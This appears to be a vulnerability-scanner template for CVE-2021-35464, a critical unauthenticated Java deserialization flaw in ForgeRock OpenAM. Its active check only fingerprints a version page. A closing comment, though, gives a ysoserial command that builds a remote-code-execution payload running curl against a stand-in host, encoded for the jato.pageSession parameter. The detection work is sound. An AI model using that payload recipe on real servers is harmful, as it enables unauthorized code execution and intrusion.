id: CVE-2021-35464 info: name: "Openam - Insecure Deserialization" author: vedas-arpsyndicate severity: critical description: | ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted /ccversion/* request to the server. reference: - https://www.exploit.observer/?keyword=CVE-2021-35464&match=exact - https://subdomain.center/?engine=ammonites&keyword=openam&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-35464 cwe-id: CWE-502 metadata: verified: false tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln http: - method: GET path: - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version' matchers-condition: and matchers: - type: word part: header words: - "Set-Cookie: JSESSIONID=" - type: word part: body words: - "Version Information -" - "openam/ccversion/Masthead.jsp" condition: or - type: status status: - 200 # {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession= # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='